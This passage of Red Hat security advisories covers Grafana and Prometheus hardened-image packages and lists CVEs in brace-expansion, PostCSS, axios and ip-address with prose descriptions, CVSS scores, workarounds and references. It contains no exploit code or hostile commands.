"release_date": "2026-08-03T16:56:25.733000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-04T16:47:41+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:prometheus3-13-main@aarch64",
"Red Hat Hardened Images:prometheus3-13-main@src",
"Red Hat Hardened Images:prometheus3-13-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50287"
},
{
"category": "workaround",
"details": "Pass map: false when invoking PostCSS to disable source map auto-loading. This prevents the path traversal from being triggered, though it removes source map support entirely.",
"product_ids": [
"Red Hat Hardened Images:prometheus3-13-main@aarch64",
"Red Hat Hardened Images:prometheus3-13-main@src",
"Red Hat Hardened Images:prometheus3-13-main@x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:prometheus3-13-main@aarch64",
"Red Hat Hardened Images:prometheus3-13-main@src",
"Red Hat Hardened Images:prometheus3-13-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL"
}
]
}
RHSA-2026:50290
Vulnerability from csaf_redhat - Published: 2026-08-04 16:49 - Updated: 2026-08-08 18:04Summary
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
Severity
Important
Notes
Topic: An update for Red Hat Hardened Images RPMs is now available.
Details: This update includes the following RPMs:
grafana12.4:
* grafana12.4-12.4.6-0.4.hum1 (aarch64, x86_64)
* grafana12.4-12.4.6-0.4.hum1.src (src)
Security Fix(es):
grafana12.4:
* CVE-2026-14257
* CVE-2026-69152
* CVE-2026-69153
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in brace-expansion. A remote attacker can exploit this vulnerability by providing specially crafted input to the expand() function, which can lead to excessive memory consumption. This can cause a denial of service (DoS) by crashing the application due to an out-of-memory error.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in the brace-expansion library. An attacker can provide specially crafted input to the `expand()` function, which fails to apply length restrictions when creating intermediate arrays. This oversight allows the attacker to exhaust system memory or block the event loop, leading to a Denial of Service (DoS). This vulnerability bypasses a previous mitigation for CVE-2026-14257.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the 'from' parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application's source code.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
30 references
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update for Red Hat Hardened Images RPMs is now available.",
"title": "Topic"
},
{
"category": "general",
"text": "This update includes the following RPMs:\n\ngrafana12.4:\n * grafana12.4-12.4.6-0.4.hum1 (aarch64, x86_64)\n * grafana12.4-12.4.6-0.4.hum1.src (src)\n\nSecurity Fix(es):\n\ngrafana12.4:\n * CVE-2026-14257\n * CVE-2026-69152\n * CVE-2026-69153",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:50290",
"url": "https://access.redhat.com/errata/RHSA-2026:50290"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-14257",
"url": "https://access.redhat.com/security/cve/CVE-2026-14257"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69152",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69153",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://images.redhat.com/",
"url": "https://images.redhat.com/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50290.json"
}
],
"title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
"tracking": {
"current_release_date": "2026-08-08T18:04:20+00:00",
"generator": {
"date": "2026-08-08T18:04:20+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.12"
}
},
"id": "RHSA-2026:50290",
"initial_release_date": "2026-08-04T16:49:56+00:00",
"revision_history": [
{
"date": "2026-08-04T16:49:56+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-08-08T04:36:23+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-08T18:04:20+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Hardened Images",
"product": {
"name": "Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:hummingbird:1"
}
}
}
],
"category": "product_family",
"name": "Red Hat Hardened Images"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana12-4-main@aarch64",
"product": {
"name": "grafana12-4-main@aarch64",
"product_id": "grafana12-4-main@aarch64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana12.4@12.4.6-0.4.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
}
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana12-4-main@src",
"product": {
"name": "grafana12-4-main@src",
"product_id": "grafana12-4-main@src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana12.4@12.4.6-0.4.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana12-4-main@x86_64",
"product": {
"name": "grafana12-4-main@x86_64",
"product_id": "grafana12-4-main@x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana12.4@12.4.6-0.4.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
}
}
}
],
"category": "architecture",
"name": "x86_64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana12-4-main@aarch64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana12-4-main@aarch64"
},
"product_reference": "grafana12-4-main@aarch64",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana12-4-main@src as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana12-4-main@src"
},
"product_reference": "grafana12-4-main@src",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana12-4-main@x86_64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana12-4-main@x86_64"
},
"product_reference": "grafana12-4-main@x86_64",
"relates_to_product_reference": "Red Hat Hardened Images"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-14257",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-07-23T14:01:26.376839+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2506433"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in brace-expansion. A remote attacker can exploit this vulnerability by providing specially crafted input to the expand() function, which can lead to excessive memory consumption. This can cause a denial of service (DoS) by crashing the application due to an out-of-memory error.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "brace-expansion: Brace-expansion: Denial of Service via memory exhaustion in expand() function",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "A flaw was found in the brace-expansion npm package. The expand() function limits the number of generated results but does not bound the length of each result string. By chaining multiple brace groups, an attacker can keep the result count under the limit while making each result progressively longer, causing total memory consumption to grow until the Node.js process crashes with an uncatchable out-of-memory error. This affects any application that passes attacker-influenced strings to brace-expansion directly or transitively via minimatch or glob brace patterns.\n\nNote: In the majority of Red Hat products, brace-expansion is brought in as a transitive dependency of minimatch or glob and is not used at runtime. It is typically only invoked during build or development tooling and is not directly exposed to untrusted network input, reducing the practical exploitability of this flaw.\n\n```\n$ npm ls --omit=dev brace-expansion\nnpm@10.9.8 /usr/lib/node_modules/npm\n`-- minimatch@9.0.9\n `-- brace-expansion@2.0.2\n```",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-14257"
},
{
"category": "external",
"summary": "RHBZ#2506433",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506433"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-14257",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14257"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-14257",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14257"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5"
},
{
"category": "external",
"summary": "https://www.npmjs.com/package/brace-expansion",
"url": "https://www.npmjs.com/package/brace-expansion"
}
],
"release_date": "2026-07-23T12:54:23.124000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-04T16:49:56+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50290"
},
{
"category": "workaround",
"details": "Do not pass untrusted or user-controlled input to brace-expansion\u0027s expand() function or to libraries that use it for glob pattern matching (such as minimatch or glob). Validate and sanitize any brace patterns before expansion.\n\nWhere possible, upgrade to brace-expansion 1.1.17, 2.1.3, 3.0.3, or 5.0.8 which add a maxLength option that bounds accumulated output.\n\nAs an additional defense-in-depth measure, enforce memory limits on Node.js processes using operating system resource controls such as cgroups or Kubernetes resource limits (spec.containers[].resources.limits.memory) to prevent a single process from exhausting system memory and causing a wider outage.",
"product_ids": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "brace-expansion: Brace-expansion: Denial of Service via memory exhaustion in expand() function"
},
{
"cve": "CVE-2026-69152",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-08-03T18:01:13.566423+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510722"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the brace-expansion library. An attacker can provide specially crafted input to the `expand()` function, which fails to apply length restrictions when creating intermediate arrays. This oversight allows the attacker to exhaust system memory or block the event loop, leading to a Denial of Service (DoS). This vulnerability bypasses a previous mitigation for CVE-2026-14257.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "brace-expansion: brace-expansion: Denial of Service via unbounded intermediate arrays",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "RHBZ#2510722",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510722"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69152",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895"
}
],
"release_date": "2026-08-03T16:33:36.324000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-04T16:49:56+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50290"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "brace-expansion: brace-expansion: Denial of Service via unbounded intermediate arrays"
},
{
"cve": "CVE-2026-69153",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-08-03T18:01:01.506065+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510719"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the \u0027from\u0027 parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application\u0027s source code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat rates this flaw as Moderate because the information disclosed is limited to files with a .map extension. Source map files may contain source code paths and content, but the attacker cannot read arbitrary files on the system. Exploitation requires the application to process attacker-controlled CSS through PostCSS on the server side.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "RHBZ#2510719",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510719"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/releases/tag/8.5.19",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
"release_date": "2026-08-03T16:56:25.733000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-04T16:49:56+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50290"
},
{
"category": "workaround",
"details": "Pass map: false when invoking PostCSS to disable source map auto-loading. This prevents the path traversal from being triggered, though it removes source map support entirely.",
"product_ids": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana12-4-main@aarch64",
"Red Hat Hardened Images:grafana12-4-main@src",
"Red Hat Hardened Images:grafana12-4-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL"
}
]
}
RHSA-2026:50826
Vulnerability from csaf_redhat - Published: 2026-08-05 14:18 - Updated: 2026-08-09 10:55Summary
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
Severity
Important
Notes
Topic: An update for Red Hat Hardened Images RPMs is now available.
Details: This update includes the following RPMs:
grafana13.1:
* grafana13.1-13.1.1-0.5.2.hum1 (aarch64, x86_64)
* grafana13.1-13.1.1-0.5.2.hum1.src (src)
Security Fix(es):
grafana13.1:
* CVE-2026-67313
* CVE-2026-67314
* CVE-2026-67315
* CVE-2026-67316
* CVE-2026-67317
* CVE-2026-67318
* CVE-2026-69152
* CVE-2026-69153
* CVE-2026-69192
* CVE-2026-69198
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in axios. A remote attacker could exploit an uncontrolled recursion vulnerability in the formDataToJSON function by supplying FormData with field names containing deeply nested bracket segments. This could exhaust the JavaScript call stack, leading to a RangeError and causing a denial of service (DoS) through request failure or process termination in affected applications.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in axios. This vulnerability involves prototype pollution read-side gadgets within the basic authentication subfield handling. If an application is already susceptible to a separate prototype pollution issue and makes an axios request without specifying username or password in its authentication object, an attacker can inject malicious values. This allows for outbound request tampering, enabling the attacker to inject or replace basic authentication credentials in outgoing requests. Under specific application conditions, this could also lead to credential disclosure.
7.4 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in axios. This vulnerability occurs because the software fails to correctly identify 0.0.0.0 as a local loopback address when evaluating NO_PROXY rules. A remote attacker could exploit this by providing a 0.0.0.0 URL, causing requests to bypass intended proxy restrictions. This could lead to the exposure of internal services to the configured proxy, potentially allowing unauthorized access to local resources.
5.8 (Medium)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Moderate
A flaw was found in axios, a widely used JavaScript library for making web requests. This vulnerability, known as prototype pollution, allows an attacker to subtly alter how network requests are built if another part of the system has already been compromised. This could lead to an attacker injecting unauthorized data into requests that were not intended to have a body. In more advanced scenarios, an attacker could also redirect network traffic through their own malicious servers or manipulate how URLs are processed, potentially exposing sensitive information or allowing traffic modification.
CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object AttributesAffected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Low
A flaw was found in axios. This vulnerability allows a remote attacker to bypass configured upload size limits by supplying unknown-length stream data when using WHATWG ReadableStream request bodies in the fetch adapter, specifically when the Content-Length cannot be determined. This can lead to uncontrolled network egress or resource exhaustion, resulting in a Denial of Service (DoS) for the affected system.
5.3 (Medium)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Moderate
A flaw was found in axios, a popular JavaScript library for making HTTP requests. When using the Node.js HTTP/2 adapter, axios fails to properly enforce the configured maxBodyLength limit for streamed request bodies. This allows a remote attacker, by controlling the input stream, to send an arbitrarily large amount of data. The primary impact is excessive resource consumption, increased network egress, and potential denial of service for the affected application.
5.3 (Medium)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Moderate
A flaw was found in the brace-expansion library. An attacker can provide specially crafted input to the `expand()` function, which fails to apply length restrictions when creating intermediate arrays. This oversight allows the attacker to exhaust system memory or block the event loop, leading to a Denial of Service (DoS). This vulnerability bypasses a previous mitigation for CVE-2026-14257.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the 'from' parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application's source code.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in the `ip-address` library. This library incorrectly interprets IPv4 address octets with leading zeros as decimal, while standard network parsers interpret them as octal. This inconsistency can cause applications to misclassify network targets, allowing a remote attacker to bypass security measures like Server-Side Request Forgery (SSRF) filters and potentially gain unauthorized access to internal systems.
8.6 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
|
|
